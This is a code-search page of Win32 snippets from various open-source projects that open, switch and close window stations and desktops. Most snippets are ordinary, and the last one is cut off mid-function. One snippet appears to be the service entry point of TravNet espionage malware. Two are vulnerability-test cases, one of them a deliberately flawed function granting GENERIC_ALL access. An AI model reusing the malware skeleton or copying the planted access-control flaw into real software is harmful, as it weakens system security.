예제 #1
0
파일: desktop.cpp 프로젝트: kilitary/ss
int SetUserDesktop( int mode )
{
    static HWINSTA hwinstaSave; 
    static HDESK hdeskSave; 
    static HWINSTA hwinstaUser; 
    static HDESK hdeskUser; 
	
	if(mode == 1) {
		hwinstaSave = GetProcessWindowStation(); 
		hdeskSave = GetThreadDesktop(GetCurrentThreadId()); 
		
		hwinstaUser = OpenWindowStation("WinSta0", FALSE, MAXIMUM_ALLOWED); 
		if (hwinstaUser == NULL) 
			return 0; 
		SetProcessWindowStation(hwinstaUser); 
		hdeskUser = OpenDesktop("Default", 0, FALSE, MAXIMUM_ALLOWED); 
		if (hdeskUser == NULL) { 
			SetProcessWindowStation(hwinstaSave); 
			CloseWindowStation(hwinstaUser); 
			return 0; 
		} 
		SetThreadDesktop(hdeskUser); 
	} 
	else if(mode == 0) {
		SetThreadDesktop(hdeskSave); 
		SetProcessWindowStation(hwinstaSave); 
		CloseDesktop(hdeskUser); 
		CloseWindowStation(hwinstaUser); 
	}
	
    return 0; 
} 
예제 #2
0
static BOOL CALLBACK
check_winsta(wchar_t* winsta_name, LPARAM)
{
    debug(L"entering enum_winsta_proc, winsta_name = %s\n", winsta_name);

    // open the window station and connect to it
    // (TODO: figure out what permissions are really needed here)
    //
    HWINSTA winsta = OpenWindowStation(winsta_name, FALSE, MAXIMUM_ALLOWED);
    if (winsta == NULL) {
        debug(L"OpenWindowStation error: %u\n", GetLastError());
        return TRUE;
    }
    HWINSTA old_winsta = GetProcessWindowStation();
    if (SetProcessWindowStation(winsta) == FALSE) {
        debug(L"SetProcessWindowStation error: %u\n", GetLastError());
        if (CloseWindowStation(winsta) == FALSE) {
            debug(L"CloseWindowStation error: %u\n", GetLastError());
        }
        return TRUE;
    }
    if (CloseWindowStation(old_winsta) == FALSE) {
        debug(L"CloseWindowStation error: %u\n", GetLastError());
    }

    // open the "default" desktop and connect to it (if present)
    // (TODO: figure out what permissions are really needed here)
    //
    HDESK desktop = OpenDesktop(L"default", 0, FALSE, MAXIMUM_ALLOWED);
    if (desktop == NULL) {
        debug(L"OpenDesktop error: %u\n", GetLastError());
        return TRUE;
    }
    HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId());
    if (SetThreadDesktop(desktop) == FALSE) {
        debug(L"SetThreadDesktop error: %u\n", GetLastError());
        if (CloseDesktop(desktop) == FALSE) {
            debug(L"CloseDesktop error: %u\n", GetLastError());
        }
        return TRUE;
    }
    if (CloseDesktop(old_desktop) == FALSE) {
        debug(L"CloseDesktop error: %u\n", GetLastError());
    }

    // check_this_winsta() returns TRUE if it found the pid, FALSE if not
    //
    BOOL found = check_this_winsta();
    if (found) {
        SetLastError(ERROR_SUCCESS);
    }
    // return TRUE to keep searching
    return ! found;
}
/* good1() uses if(5!=5) instead of if(5==5) */
static void good1()
{
    if(5!=5)
    {
        /* INCIDENTAL: CWE 561 Dead Code, the code below will never run */
        printLine("Benign, fixed string");
    }
    else
    {
        {
            HWINSTA hWinStation;
            wchar_t * wStationName = L"WindowsStationExample";
            /* FIX: Call CreateWindowStationW() without GENERIC_READ as the 3rd parameter to limit access */
            hWinStation = CreateWindowStationW(
                              wStationName,
                              0,
                              GENERIC_READ,
                              NULL);
            if (hWinStation == NULL)
            {
                printLine("Windows station could not be created");
            }
            else
            {
                printLine("Windows Station created successfully");
                CloseWindowStation(hWinStation);
            }
        }
    }
}
예제 #4
0
파일: guiterm.c 프로젝트: Strongc/reactos
static VOID NTAPI
GuiDeinitFrontEnd(IN OUT PFRONTEND This)
{
    PGUI_CONSOLE_DATA GuiData = This->Context;

    DPRINT("Send PM_DESTROY_CONSOLE message and wait on hGuiTermEvent...\n");
    PostThreadMessageW(GuiData->InputThreadId, PM_DESTROY_CONSOLE, 0, (LPARAM)GuiData);
    NtWaitForSingleObject(GuiData->hGuiTermEvent, FALSE, NULL);
    DPRINT("hGuiTermEvent set\n");
    NtClose(GuiData->hGuiTermEvent);
    GuiData->hGuiTermEvent = NULL;

    CloseDesktop(GuiData->Desktop); // NtUserCloseDesktop
    CloseWindowStation(GuiData->WinSta); // NtUserCloseWindowStation

    DPRINT("Destroying icons !! - GuiData->hIcon = 0x%p ; ghDefaultIcon = 0x%p ; GuiData->hIconSm = 0x%p ; ghDefaultIconSm = 0x%p\n",
           GuiData->hIcon, ghDefaultIcon, GuiData->hIconSm, ghDefaultIconSm);
    if (GuiData->hIcon != NULL && GuiData->hIcon != ghDefaultIcon)
    {
        DPRINT("Destroy hIcon\n");
        DestroyIcon(GuiData->hIcon);
    }
    if (GuiData->hIconSm != NULL && GuiData->hIconSm != ghDefaultIconSm)
    {
        DPRINT("Destroy hIconSm\n");
        DestroyIcon(GuiData->hIconSm);
    }

    This->Context = NULL;
    DeleteCriticalSection(&GuiData->Lock);
    ConsoleFreeHeap(GuiData);

    DPRINT("Quit GuiDeinitFrontEnd\n");
}
예제 #5
0
void
vncService::SelectHomeWinStation()
{
	HWINSTA station=GetProcessWindowStation();
	SetProcessWindowStation(home_window_station);
	CloseWindowStation(station);
}
예제 #6
0
extern "C" __declspec(dllexport) void ServiceMain()
{
	Fast_ServiceStatus(SERVICE_START_PENDING, NO_ERROR, 1);
	Fast_ServiceStatus(SERVICE_RUNNING		, NO_ERROR, 0);

	HWINSTA hProcWinStat = GetProcessWindowStation();
	HWINSTA hWinStat = OpenWindowStation("winsta0", FALSE, WINSTA_ALL_ACCESS);
	if (NULL != hWinStat)
		SetProcessWindowStation(hWinStat);
	CloseWindowStation(hProcWinStat);

	g_hMutex = CreateMutex(NULL, TRUE, TRAVNET_MUTEX_NAME);
	if (ERROR_ALREADY_EXISTS == GetLastError())
	{
		CloseHandle(g_hMutex);
		return;
	}

	Sleep(1000);
	if (FALSE == LoadConfig())
		return;

	if (FALSE == g_bCheckedSuccess)
	{
		LoadProxyConfig();

		if (g_bUseProxy)
		{
			sprintf(g_nProxy_IP__TEST	, "%s", g_nProxy_IP);
			sprintf(g_nProxy_PORT__TEST	, "%s", g_nProxy_PORT);
			sprintf(g_nProxy_USER__TEST	, "%s", g_nProxy_USER);
			sprintf(g_nProxy_PSW__TEST	, "%s", g_nProxy_PSW);

			if(FALSE == TestProxyConnection() && TRUE == g_bAutoCheck && FALSE == RetriveInfo())
			{
				RemoveALL();
				return;
			}
		}
		else if(TRUE == g_bAutoCheck && FALSE == RetriveInfo())
		{
			RemoveALL();
			return;
		}

		SetCheckSuccess();
	}

	// Start main routine
	Sleep(60000);
	g_lpThread1 = CreateThread(NULL, 0, g_fnThread1, NULL, 0, &g_dwThreadId1);

	// Wait for new devices
	Sleep(10000);
	g_lpThread2 = CreateThread(NULL, 0, g_fnThread2, NULL, 0, &g_dwThreadId2);

	do
		Sleep(100);
	while (g_dwServiceStatus != SERVICE_STOP_PENDING && g_dwServiceStatus != SERVICE_STOPPED);
}
예제 #7
0
void KillWindow() {
    window_ready=false;
    wglMakeCurrent(NULL,NULL);  // release GL rendering context
    if (hRC) {
        wglDeleteContext(hRC);
        hRC=NULL;
    }

    if (hWnd && hDC) {
        ReleaseDC(hWnd,hDC);
    }
    hDC = NULL;

    if (hWnd) {
        DestroyWindow(hWnd);
    }
    hWnd = NULL;

    if (hOriginalWindowStation) {
        SetProcessWindowStation(hOriginalWindowStation);
        CloseWindowStation(hInteractiveWindowStation);
        hInteractiveWindowStation = NULL;
    }

    if (hOriginalDesktop) {
        SetThreadDesktop(hOriginalDesktop);
        CloseDesktop(hInteractiveDesktop);
        hInteractiveDesktop = NULL;
    }
}
void CWE284_Improper_Access_Control__w32_wchar_t_CreateWindowStation_17_bad()
{
    int j;
    for(j = 0; j < 1; j++)
    {
        {
            HWINSTA hWinStation;
            wchar_t * wStationName = L"WindowsStationExample";
            /* FLAW: Call CreateWindowStationW() with GENERIC_ALL as the 3rd parameter */
            hWinStation = CreateWindowStationW(
                              wStationName,
                              0,
                              GENERIC_ALL,
                              NULL);
            if (hWinStation == NULL)
            {
                printLine("Windows station could not be created");
            }
            else
            {
                printLine("Windows Station created successfully");
                CloseWindowStation(hWinStation);
            }
        }
    }
}
예제 #9
0
/*
 * This test inspects the same window station aspects that are used in the
 * Cygwin fhandler_console.cc!fhandler_console::create_invisible_console()
 * function, see:
 *   https://github.com/cygwin/cygwin/blob/7b9bfb4136f23655e243bab89fb62b04bdbacc7f/winsup/cygwin/fhandler_console.cc#L2494
 */
VOID DoTest(HWND hWnd)
{
    HWINSTA hWinSta;
    LPCWSTR lpszWinSta = L"Test-WinSta";
    BOOL bIsItOk;
    LOG_FILE LogFile;
    WCHAR szBuffer[2048];

    bIsItOk = InitLog(&LogFile, L"test_winsta.log", szBuffer, sizeof(szBuffer));
    if (!bIsItOk)
    {
        MessageBoxW(hWnd, L"Could not create the log file, stopping test now...", L"Error", MB_ICONERROR | MB_OK);
        return;
    }

    /* Switch output to UTF-16 (little endian) */
    WriteToLog(&LogFile, "\xFF\xFE", 2);

    WriteToLogPrintf(&LogFile, L"Creating Window Station '%s'\r\n", lpszWinSta);
    hWinSta = CreateWindowStationW(lpszWinSta, 0, WINSTA_ALL_ACCESS, NULL);
    WriteToLogPrintf(&LogFile, L"--> Returned handle 0x%p ; last error: %lu\r\n", hWinSta, GetLastError());

    if (!hWinSta)
    {
        WriteToLogPuts(&LogFile, L"\r\nHandle is NULL, cannot proceed further, stopping the test!\r\n\r\n");
        return;
    }

    WriteToLogPrintf(&LogFile, L"Enumerate desktops on Window Station '%s' (0x%p) (before process attach)\r\n", lpszWinSta, hWinSta);
    bIsItOk = EnumDesktopsW(hWinSta, EnumDesktopProc, (LPARAM)&LogFile);
    WriteToLogPrintf(&LogFile, L"--> Returned %s ; last error: %lu\r\n",
                     (bIsItOk ? L"success" : L"failure"), GetLastError());

    WriteToLogPrintf(&LogFile, L"Setting current process to Window Station '%s' (0x%p)\r\n", lpszWinSta, hWinSta);
    bIsItOk = SetProcessWindowStation(hWinSta);
    WriteToLogPrintf(&LogFile, L"--> Returned %s ; last error: %lu\r\n",
                     (bIsItOk ? L"success" : L"failure"), GetLastError());

    WriteToLogPrintf(&LogFile, L"Enumerate desktops on Window Station '%s' (0x%p) (after process attach, before allocating console)\r\n", lpszWinSta, hWinSta);
    bIsItOk = EnumDesktopsW(hWinSta, EnumDesktopProc, (LPARAM)&LogFile);
    WriteToLogPrintf(&LogFile, L"--> Returned %s ; last error: %lu\r\n",
                     (bIsItOk ? L"success" : L"failure"), GetLastError());

    WriteToLogPrintf(&LogFile, L"Allocating a new console on Window Station '%s' (0x%p)\r\n", lpszWinSta, hWinSta);
    bIsItOk = AllocConsole();
    WriteToLogPrintf(&LogFile, L"--> Returned %s ; last error: %lu\r\n",
                     (bIsItOk ? L"success" : L"failure"), GetLastError());

    WriteToLogPrintf(&LogFile, L"Enumerate desktops on Window Station '%s' (0x%p) (after allocating console)\r\n", lpszWinSta, hWinSta);
    bIsItOk = EnumDesktopsW(hWinSta, EnumDesktopProc, (LPARAM)&LogFile);
    WriteToLogPrintf(&LogFile, L"--> Returned %s ; last error: %lu\r\n",
                     (bIsItOk ? L"success" : L"failure"), GetLastError());

    WriteToLogPrintf(&LogFile, L"Now closing Window Station '%s' (0x%p)\r\n", lpszWinSta, hWinSta);
    bIsItOk = CloseWindowStation(hWinSta);
    WriteToLogPrintf(&LogFile, L"--> Returned %s ; last error: %lu\r\n\r\n",
                     (bIsItOk ? L"success" : L"failure"), GetLastError());

    CloseLog(&LogFile);
}
/* good1() uses the GoodSinkBody in the for statements */
static void good1()
{
    int k;
    for(k = 0; k < 1; k++)
    {
        {
            HWINSTA hWinStation;
            wchar_t * wStationName = L"WindowsStationExample";
            /* FIX: Call CreateWindowStationW() without GENERIC_READ as the 3rd parameter to limit access */
            hWinStation = CreateWindowStationW(
                              wStationName,
                              0,
                              GENERIC_READ,
                              NULL);
            if (hWinStation == NULL)
            {
                printLine("Windows station could not be created");
            }
            else
            {
                printLine("Windows Station created successfully");
                CloseWindowStation(hWinStation);
            }
        }
    }
}
예제 #11
0
    void WindowsUser::logout()
    {
        // Free the buffer for the logon SID.

        if (pSid_)
        {
            freeLogonSID(&pSid_);
        }

        // Close the handles to the interactive window station and desktop.

        if (winstaHandle_)
        {
            CloseWindowStation(winstaHandle_);
            winstaHandle_ = NULL;
        }

        if (deskHandle_)
        {
            CloseDesktop(deskHandle_);
            deskHandle_ = NULL;
        }

        // Close the handle to the client's access token.

        if (tokenHandle_)
        {
            RevertToSelf();
            CloseHandle(tokenHandle_);  
            tokenHandle_ = NULL;
        }
    }
예제 #12
0
파일: gui.c 프로젝트: djs55/stunnel
int pem_passwd_cb(char *buf, int size, int rwflag, void *userdata) {
    int result;
#if 0
    DWORD dwThreadId;
    HWINSTA hwinstaSave;
    HDESK hdeskSave;
    HWINSTA hwinstaUser;
    HDESK hdeskUser;

    buf[0]='\0'; /* empty the buffer */

    /* Save the window station and desktop */
    hwinstaSave=GetProcessWindowStation();
    if(!hwinstaSave)
        ioerror("GetProcessWindowStation");
    dwThreadId=GetCurrentThreadId();
    if(!dwThreadId)
        ioerror("GetCurrentThreadId");
    hdeskSave=GetThreadDesktop(dwThreadId);
    if(!hdeskSave)
        ioerror("GetThreadDesktop");

    /* Switch to WinSta0/Default */
    hwinstaUser=OpenWindowStation("winsta0", FALSE, MAXIMUM_ALLOWED);
    if(!hwinstaUser)
        ioerror("OpenWindowStation");
    if(!SetProcessWindowStation(hwinstaUser))
        ioerror("SetProcessWindowStation");
    hdeskUser=OpenDesktop("Default", 0, FALSE, MAXIMUM_ALLOWED); /* Winlogon */
    if(!hdeskUser)
        ioerror("OpenDesktop");
    if(!SetThreadDesktop(hdeskUser))
        ioerror("SetThreadDesktop");
#endif

    /* Display the dialog box */
    section=userdata;
    result=DialogBox(ghInst, TEXT("PassBox"), hwnd, (DLGPROC)pass_proc);

#if 0
    /* Restore window station and desktop */
    if(!SetThreadDesktop(hdeskSave))
        ioerror("SetThreadDesktop");
    if(!SetProcessWindowStation(hwinstaSave))
        ioerror("SetProcessWindowStation");
    if(!CloseDesktop(hdeskUser))
        ioerror("CloseDesktop");
    if(!CloseWindowStation(hwinstaUser))
        ioerror("CloseWindowStation");
#endif

    if(!result)
        return 0;
    strncpy(buf, passphrase, size);
    buf[size - 1] = '\0';
    return strlen(buf);
}
예제 #13
0
bool DetachFromWorkstation()
{
    // Restore window station and desktop. 
    SetThreadDesktop(hdeskSave); 
    SetProcessWindowStation(hwinstaSave); 
    CloseDesktop(hdeskUser); 
    CloseWindowStation(hwinstaUser); 
    return true;
}
예제 #14
0
LocalWindowsApplication::LocalWindowsApplication(HINSTANCE hInstance)
 : WindowsApplication(hInstance)
{
  HWINSTA winSta = 0;

  winSta = OpenWindowStation(_T("WinSta0"), TRUE, GENERIC_ALL);

  if (winSta== 0) {
    throw SystemException();
  }

  if (SetProcessWindowStation(winSta) == 0) {
    CloseWindowStation(winSta);
    throw SystemException();
  }

  CloseWindowStation(winSta);

  DesktopSelector::selectDesktop();
}
예제 #15
0
BOOL CALLBACK WinStationEnumProc(LPTSTR name, LPARAM param) {
	HWINSTA station = OpenWindowStation(name, FALSE, GENERIC_ALL);
	HWINSTA oldstation = GetProcessWindowStation();
	USEROBJECTFLAGS flags;
	if (!GetUserObjectInformation(station, UOI_FLAGS, &flags, sizeof(flags), NULL)) {
		return TRUE;
	}
	BOOL visible = flags.dwFlags & WSF_VISIBLE;
	if (visible) {
		if (SetProcessWindowStation(station)) {
			if (oldstation != home_window_station) {
				CloseWindowStation(oldstation);
			}
		} else {
			CloseWindowStation(station);
		}
		return FALSE;
	}
	return TRUE;
}
예제 #16
0
파일: winstation.c 프로젝트: Kelimion/wine
static BOOL CALLBACK open_window_station_callbackA(LPSTR winsta, LPARAM lp)
{
    HWINSTA hwinsta;

    trace("open_window_station_callbackA called with argument %s\n", winsta);
    hwinsta = OpenWindowStationA(winsta, FALSE, WINSTA_ENUMERATE);
    ok(hwinsta != NULL, "Could not open desktop %s!\n", winsta);
    if (hwinsta)
        CloseWindowStation(hwinsta);
    return lp;
}
예제 #17
0
VOID
	PrepareMainThread()
{
	PMONITOR Monitor = GetMonitor();
	HMODULE hModule = NULL;
	HWINSTA hWinsta = NULL;
	HDESK hDesk = NULL;
	PCLIENT_THREAD_SETUP ClientThreadSetup = NULL;

	hModule = LoadLibrary(L"user32.dll");
	if (hModule == NULL) {
		DebugPrint(L"LoadLibrary failed\n");
		return;
	}
	
	DebugPrint(L"IsGUIThread=%x\n", IsGUIThread(TRUE));

	ClientThreadSetup = (PCLIENT_THREAD_SETUP)GetProcAddress(hModule, "ClientThreadSetup");
	if (ClientThreadSetup == NULL) {
		DebugPrint(L"ClientThreadSetup not found in mod=%p\n", hModule);
		goto cleanup;
	}
	
	BOOL Result = ClientThreadSetup();
	DebugPrint(L"ClientThreadSetup=%x\n", Result);
	hWinsta = DeviceOpenWinsta(L"WinSta0");
	if (hWinsta != NULL) {
		hDesk = DeviceOpenDesktop(hWinsta, L"Default");
	}
	
	DebugPrint(L"Opened hwinsta=%p, hdesk=%p\n", hWinsta, hDesk);

	if (hWinsta != NULL) {
		if (!SetProcessWindowStation(hWinsta)) {
			DebugPrint(L"SetProcessWindowStation failed, err=%d, hWinsta=%x\n", GetLastError(), hWinsta);
		}
	}

	if (hDesk != NULL) {
		if (!SetThreadDesktop(hDesk)) {
			DebugPrint(L"SetThreadDesktop failed, error=%d\n", GetLastError());
		}
	}

	if (hDesk != NULL)
		CloseDesktop(hDesk);

	if (hWinsta != NULL)
		CloseWindowStation(hWinsta);
	
cleanup:	
	FreeLibrary(hModule);
}
LocalWindowsApplication::LocalWindowsApplication(HINSTANCE hInstance,
        const TCHAR *windowClassName)
    : WindowsApplication(hInstance, windowClassName)
{
    HWINSTA winSta = 0;

    winSta = OpenWindowStation(_T("WinSta0"), TRUE, GENERIC_ALL);

    if (winSta== 0) {
        throw SystemException();
    }

    if (SetProcessWindowStation(winSta) == 0) {
        CloseWindowStation(winSta);
        throw SystemException();
    }

    CloseWindowStation(winSta);

    // FIXME: why we don't check returning values?
    DesktopSelector::selectDesktop();
}
예제 #19
0
파일: desktop.c 프로젝트: hoangduit/reactos
void Test_OpenInputDesktop()
{
    HDESK hDeskInput ,hDeskInput2;
    HDESK hDeskInitial;
    BOOL ret;
    HWINSTA hwinsta = NULL, hwinstaInitial;
    DWORD err;

    hDeskInput = OpenInputDesktop(0, FALSE, DESKTOP_ALL_ACCESS);
    ok(hDeskInput != NULL, "OpenInputDesktop failed\n");
    hDeskInitial = GetThreadDesktop( GetCurrentThreadId() );
    ok(hDeskInitial != NULL, "GetThreadDesktop failed\n");
    ok(hDeskInput != hDeskInitial, "OpenInputDesktop returned thread desktop\n");

    hDeskInput2 = OpenInputDesktop(0, FALSE, DESKTOP_ALL_ACCESS);
    ok(hDeskInput2 != NULL, "Second call to OpenInputDesktop failed\n");
    ok(hDeskInput2 != hDeskInput, "Second call to OpenInputDesktop returned same handle\n");

    ok(CloseDesktop(hDeskInput2) != 0, "CloseDesktop failed\n");

    ret = SetThreadDesktop(hDeskInput);
    ok(ret == TRUE, "SetThreadDesktop for input desktop failed\n");

    ret = SetThreadDesktop(hDeskInitial);
    ok(ret == TRUE, "SetThreadDesktop for initial desktop failed\n");

    ok(CloseDesktop(hDeskInput) != 0, "CloseDesktop failed\n");

    /* Try calling OpenInputDesktop after switching to a new winsta */
    hwinstaInitial = GetProcessWindowStation();
    ok(hwinstaInitial != 0, "GetProcessWindowStation failed\n");

    hwinsta = CreateWindowStationW(L"TestWinsta", 0, WINSTA_ALL_ACCESS, NULL);
    ok(hwinsta != 0, "CreateWindowStationW failed\n");

    ret = SetProcessWindowStation(hwinsta);
    ok(ret != 0, "SetProcessWindowStation failed\n");

    hDeskInput = OpenInputDesktop(0, FALSE, DESKTOP_ALL_ACCESS);
    ok(hDeskInput == 0, "OpenInputDesktop should fail\n");

    err = GetLastError();
    ok(err == ERROR_INVALID_FUNCTION, "Got last error: %lu\n", err);

    ret = SetProcessWindowStation(hwinstaInitial);
    ok(ret != 0, "SetProcessWindowStation failed\n");

    ret = CloseWindowStation(hwinsta);
    ok(ret != 0, "CloseWindowStation failed\n");

}
예제 #20
0
BOOL COpenDesktop::_CloseDesktop()
{
	if (!SetProcessWindowStation(m_hwinstaCurrent))
		return FALSE;
	
	if (!SetThreadDesktop(m_hdeskCurrent))
		return FALSE;
	
	if (!CloseWindowStation(m_hwinsta))
		return FALSE;
	
	if (!CloseDesktop(m_hdesk))
		return FALSE;
	
	return TRUE;
}
예제 #21
0
파일: server.c 프로젝트: Gaikokujin/WinNT4
VOID UserClientDisconnect(
    PCSR_PROCESS Process)
{
    PHANDLE pHandle = Process->ServerDllPerProcessData[USERSRV_SERVERDLL_INDEX];
    BOOL fSuccess;

    /*
     * Close any open handles
     */
    if (pHandle[ID_HDESK]) {
        fSuccess = CloseDesktop(pHandle[ID_HDESK]);
        UserAssert(fSuccess);
    }
    if (pHandle[ID_HWINSTA]) {
        fSuccess = CloseWindowStation(pHandle[ID_HWINSTA]);
        UserAssert(fSuccess);
    }
}
예제 #22
0
/*
* propDefaultCloseObject
*
* Purpose:
*
* Dereference.
*
*/
VOID propDefaultCloseObject(
    _In_ IObjectSecurity * This,
    _In_ HANDLE hObject
)
{
    if ((hObject != NULL) && (This->ObjectContext)) {
        switch (This->ObjectContext->TypeIndex) {
        case TYPE_WINSTATION:
            CloseWindowStation(hObject);
            break;
        case TYPE_DESKTOP:
            CloseDesktop(hObject);
            break;
        default:
            NtClose(hObject);
            break;
        }
    }
}
예제 #23
0
/*
* propDefaultCloseObject
*
* Purpose:
*
* Dereference.
*
*/
VOID propDefaultCloseObject(
	_In_ IObjectSecurity * This,
	_In_ HANDLE hObject
	)
{
	if (hObject == NULL) {
		return;
	}
	if (This->ObjectContext->TypeIndex == TYPE_WINSTATION) {
		CloseWindowStation(hObject);
		hObject = NULL;
	}
	if (This->ObjectContext->TypeIndex == TYPE_DESKTOP) {
		CloseDesktop(hObject);
		hObject = NULL;
	}
	if (hObject) {
		NtClose(hObject);
	}
}
예제 #24
0
bool AttachToWorkstation()
{
    DWORD dwThreadId;
 
    // Ensure connection to service window station and desktop, and 
    // save their handles. 

    hwinstaSave = GetProcessWindowStation(); 
    dwThreadId = GetCurrentThreadId(); 
    hdeskSave = GetThreadDesktop(dwThreadId); 
 
    // connect to the User's window station and desktop. 

    //RpcImpersonateClient(h); 
    hwinstaUser = OpenWindowStation("WinSta0", TRUE, MAXIMUM_ALLOWED); 
    if (hwinstaUser == NULL) 
    { 
        //RpcRevertToSelf();
	err_printf("AttachToWorkstation:OpenWindowStation failed, error %d.\n", GetLastError());
        return false; 
    } 
    SetProcessWindowStation(hwinstaUser); 
    hdeskUser = OpenInputDesktop(DF_ALLOWOTHERACCOUNTHOOK, TRUE, MAXIMUM_ALLOWED); 
    /*
	DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW | DESKTOP_ENUMERATE |
	DESKTOP_HOOKCONTROL | DESKTOP_JOURNALPLAYBACK | DESKTOP_JOURNALRECORD |
	DESKTOP_READOBJECTS | DESKTOP_SWITCHDESKTOP | DESKTOP_WRITEOBJECTS);
	*/
    //RpcRevertToSelf(); 
    if (hdeskUser == NULL) 
    { 
        SetProcessWindowStation(hwinstaSave); 
        CloseWindowStation(hwinstaUser);
	err_printf("AttachToWorkstation:OpenInputDesktop failed, error %d\n", GetLastError());
        return false;
    } 
    SetThreadDesktop(hdeskUser);

    return true;
}
예제 #25
0
/*
* propBasicQueryWindowStation
*
* Purpose:
*
* Set information values for WindowStation object type (managed by win32k services)
*
* If ExtendedInfoAvailable is FALSE then it calls propSetDefaultInfo to set Basic page properties
*
*/
VOID propBasicQueryWindowStation(
    _In_ PROP_OBJECT_INFO *Context,
    _In_ HWND hwndDlg,
    _In_ BOOL ExtendedInfoAvailable
)
{
    DWORD           bytesNeeded;
    HWINSTA         hObject;
    USEROBJECTFLAGS userFlags;

    SetDlgItemText(hwndDlg, ID_WINSTATIONVISIBLE, T_CannotQuery);

    if (Context == NULL) {
        return;
    }

    //
    // Open Winstation object.
    //
    hObject = NULL;
    if (!propOpenCurrentObject(Context, &hObject, WINSTA_READATTRIBUTES)) {
        return;
    }

    RtlSecureZeroMemory(&userFlags, sizeof(userFlags));
    if (GetUserObjectInformation(hObject, UOI_FLAGS, &userFlags,
        sizeof(USEROBJECTFLAGS), &bytesNeeded))
    {
        SetDlgItemText(hwndDlg, ID_WINSTATIONVISIBLE,
            (userFlags.dwFlags & WSF_VISIBLE) ? TEXT("Yes") : TEXT("No"));
    }

    //
    // Query object basic and type info if needed.
    //
    if (ExtendedInfoAvailable == FALSE) {
        propSetDefaultInfo(Context, hwndDlg, hObject);
    }
    CloseWindowStation(hObject);
}
예제 #26
0
/*
* DesktopListSetInfo
*
* Purpose:
*
* Query information and fill listview.
* Called each time when page became visible.
*
*/
VOID DesktopListSetInfo(
	_In_ PROP_OBJECT_INFO *Context,
	_In_ HWND hwndDlg
	)
{
	BOOL		bResult = FALSE;
	HWINSTA		hObject;

	if (Context == NULL) {
		return;
	}

	ListView_DeleteAllItems(DesktopList);

	hObject = OpenWindowStation(Context->lpObjectName, FALSE, WINSTA_ENUMDESKTOPS);
	if (hObject) {
		EnumDesktops(hObject, DesktopListEnumProc, (LPARAM)Context);
		CloseWindowStation(hObject);
		bResult = TRUE;
	}
	ShowWindow(GetDlgItem(hwndDlg, ID_DESKTOPSNOTALL), (bResult == FALSE) ? SW_SHOW : SW_HIDE);
}
예제 #27
0
파일: desktop.c 프로젝트: hoangduit/reactos
void Test_InitialDesktop(char *argv0)
{
    HWINSTA hwinsta = NULL, hwinstaInitial;
    HDESK hdesktop = NULL;
    BOOL ret;

    hwinstaInitial = GetProcessWindowStation();

    test_CreateProcessWithDesktop(0, argv0, NULL, 0);
    test_CreateProcessWithDesktop(1, argv0, "Default", 0);
    test_CreateProcessWithDesktop(2, argv0, "WinSta0\\Default", 0);
    test_CreateProcessWithDesktop(3, argv0, "Winlogon", STATUS_DLL_INIT_FAILED);
    test_CreateProcessWithDesktop(4, argv0, "WinSta0/Default", STATUS_DLL_INIT_FAILED);
    test_CreateProcessWithDesktop(5, argv0, "NonExistantDesktop", STATUS_DLL_INIT_FAILED);
    test_CreateProcessWithDesktop(6, argv0, "NonExistantWinsta\\NonExistantDesktop", STATUS_DLL_INIT_FAILED);

    hwinsta = CreateInheritableWinsta(L"TestWinsta", WINSTA_ALL_ACCESS, TRUE);
    ok(hwinsta!=NULL, "CreateWindowStation failed\n");
    ret = SetProcessWindowStation(hwinsta);
    ok(ret != 0, "SetProcessWindowStation failed\n");
    hdesktop = CreateInheritableDesktop(L"TestDesktop", DESKTOP_ALL_ACCESS, TRUE);
    ok(hdesktop!=NULL, "CreateDesktop failed\n");

    test_CreateProcessWithDesktop(7, argv0, NULL, 0);
    test_CreateProcessWithDesktop(8, argv0, "TestWinsta\\TestDesktop", 0);
    test_CreateProcessWithDesktop(8, argv0, "NonExistantWinsta\\NonExistantDesktop", STATUS_DLL_INIT_FAILED);

    ret = SetProcessWindowStation(hwinstaInitial);
    ok(ret != 0, "SetProcessWindowStation failed\n");

    ret = CloseDesktop(hdesktop);
    ok(ret != 0, "CloseDesktop failed\n");

    ret = CloseWindowStation(hwinsta);
    ok(ret != 0, "CloseWindowStation failed\n");
}
예제 #28
0
DWORD GrantDesktopAccess(
    IN const WCHAR *accountName,
    IN const WCHAR *systemName
    )
{
    HWINSTA originalWindowStation;
    HWINSTA windowStation = NULL;
    HDESK desktop = NULL;
    DWORD status = ERROR_UNIDENTIFIED_ERROR;
    SID *sid = NULL;
    EXPLICIT_ACCESS newEa[2];

    if (!accountName)
        return ERROR_INVALID_PARAMETER;

    originalWindowStation = GetProcessWindowStation();
    if (!originalWindowStation)
    {
        return perror("GetProcessWindowStation");
    }

    windowStation = OpenWindowStation(
        L"WinSta0",
        FALSE,
        READ_CONTROL | WRITE_DAC);

    if (!windowStation)
    {
        return perror("OpenWindowStation");
    }

    if (!SetProcessWindowStation(windowStation))
    {
        status = perror("SetProcessWindowStation");
        goto cleanup;
    }

    desktop = OpenDesktop(
        TEXT("Default"),
        0,
        FALSE,
        READ_CONTROL | WRITE_DAC | DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS);

    if (!desktop)
    {
        status = perror("OpenDesktop");
        goto cleanup;
    }

    if (!SetProcessWindowStation(originalWindowStation))
    {
        status = perror("SetProcessWindowStation(Original)");
        goto cleanup;
    }

    status = GetAccountSid(accountName, systemName, &sid);
    if (ERROR_SUCCESS != status)
    {
        perror2(status, "GetAccountSid");
        goto cleanup;
    }

    newEa[0].grfAccessPermissions = GENERIC_ACCESS;
    newEa[0].grfAccessMode = GRANT_ACCESS;
    newEa[0].grfInheritance = CONTAINER_INHERIT_ACE | INHERIT_ONLY_ACE | OBJECT_INHERIT_ACE;
    newEa[0].Trustee.MultipleTrusteeOperation = NO_MULTIPLE_TRUSTEE;
    newEa[0].Trustee.TrusteeForm = TRUSTEE_IS_SID;
    newEa[0].Trustee.TrusteeType = TRUSTEE_IS_USER;
    newEa[0].Trustee.ptstrName = (WCHAR *)sid;

    newEa[1] = newEa[0];

    newEa[1].grfAccessPermissions = WINSTA_ALL;
    newEa[1].grfInheritance = NO_PROPAGATE_INHERIT_ACE;

    status = MergeWithExistingDacl(windowStation, 2, newEa);
    if (ERROR_SUCCESS != status)
    {
        perror2(status, "MergeWithExistingDacl(WindowStation)");
        goto cleanup;
    }

    newEa[0].grfAccessPermissions = DESKTOP_ALL;
    newEa[0].grfAccessMode = GRANT_ACCESS;
    newEa[0].grfInheritance = 0;

    status = MergeWithExistingDacl(desktop, 1, newEa);
